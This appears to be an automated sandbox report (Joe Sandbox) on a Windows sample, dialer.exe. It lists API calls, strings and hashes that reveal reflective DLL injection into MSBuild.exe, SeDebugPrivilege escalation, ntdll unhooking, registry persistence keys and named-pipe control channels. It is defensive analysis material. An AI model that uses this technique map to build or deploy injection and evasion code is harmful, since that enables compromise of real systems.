Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140002399
DLL, xrefs: 0000000140002321
svc64, xrefs: 0000000140002452
ntdll.dll, xrefs: 0000000140002277
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
SeDebugPrivilege, xrefs: 00000001400022C9
kernel32.dll, xrefs: 0000000140002283
pid, xrefs: 000000014000241B

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

dialer.exe, xrefs: 00000001400011CC
ReflectiveDllMain, xrefs: 000000014000139D
MSBuild.exe, xrefs: 00000001400011B8
@, xrefs: 0000000140001401

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

.text, xrefs: 0000000140002074
C:\Windows\System32\, xrefs: 0000000140001F4F

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNELBASE ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNELBASE ref: 0000000140002C91

Strings

M, xrefs: 0000000140002C6E
\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: 180580de56f56ab00dd4d516fca46f959342e05f281243e0c5337f45e18aa23b
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: 180580de56f56ab00dd4d516fca46f959342e05f281243e0c5337f45e18aa23b
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 33f89feb9858a4e39e6e7226b1872fe8dc0a47489d7e71beaca7a62b826bfc15
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 33f89feb9858a4e39e6e7226b1872fe8dc0a47489d7e71beaca7a62b826bfc15
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
Sleep.KERNEL32 ref: 0000000140002BEE

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNELBASE ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

open, xrefs: 0000000140002960
dialerstager, xrefs: 0000000140002694
SOFTWARE, xrefs: 0000000140002675

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
